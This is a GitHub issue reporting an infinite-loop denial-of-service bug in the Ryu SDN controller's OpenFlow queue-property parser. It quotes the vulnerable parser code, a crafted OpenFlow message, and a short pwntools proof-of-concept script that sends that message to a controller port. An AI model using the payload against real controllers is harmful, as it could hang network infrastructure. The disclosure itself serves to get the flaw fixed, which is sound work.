Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Suggestion for OFPPacketQueue parser will cause an infinite loop #190

Open
ErodedElk opened this issue Mar 25, 2024 · 1 comment
Open

Suggestion for OFPPacketQueue parser will cause an infinite loop #190

ErodedElk opened this issue Mar 25, 2024 · 1 comment

Comments

@ErodedElk
Copy link

in /ryu/ofproto/ofproto_v1_3_parser.py about line=6026

class OFPPacketQueue(StringifyMixin):
....
    @classmethod
    def parser(cls, buf, offset):
    ....
        while length < len_:
            queue_prop = OFPQueueProp.parser(buf, offset)
            if queue_prop is not None:
                properties.append(queue_prop)
                offset += queue_prop.len
                length += queue_prop.len
        o = cls(queue_id, port, properties)
        o.len = len_
        return o

If OFPQueueProp.len=0,the offset and length will no longer change and the parsing will fall into an infinite loop.

This message will put ryu into an infinite loop:

payload="\x04\x17\x00\x50\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x73\x00\x40\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x03\x84\x00\x00\x00\x00\x00\x00\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00\x03\xe7\x00\x00\x00\x00"

poc:

from pwn import *
p=remote("0.0.0.0",6633)
payload="\x04\x17\x00\x50\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x73\x00\x40\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x03\x84\x00\x00\x00\x00\x00\x00\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00\x03\xe7\x00\x00\x00\x00"
p.send(payload)
p.interactive()

It was mentioned in #177 that the length of OFPPacketQueue may be 0 during the parsing process of OFPQueueGetConfigReply message. However, during the parsing process of OFPPacketQueue, the length variable of OFPQueueProp may also cause this question.

@ErodedElk
Copy link
Author

This problem also occurs with the following code:
/ryu/ofproto/ofproto_v1_0_parser.py about line=1186
/ryu/ofproto/ofproto_v1_1_parser.py about line=3105
/ryu/ofproto/ofproto_v1_3_parser.py about line=6026

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant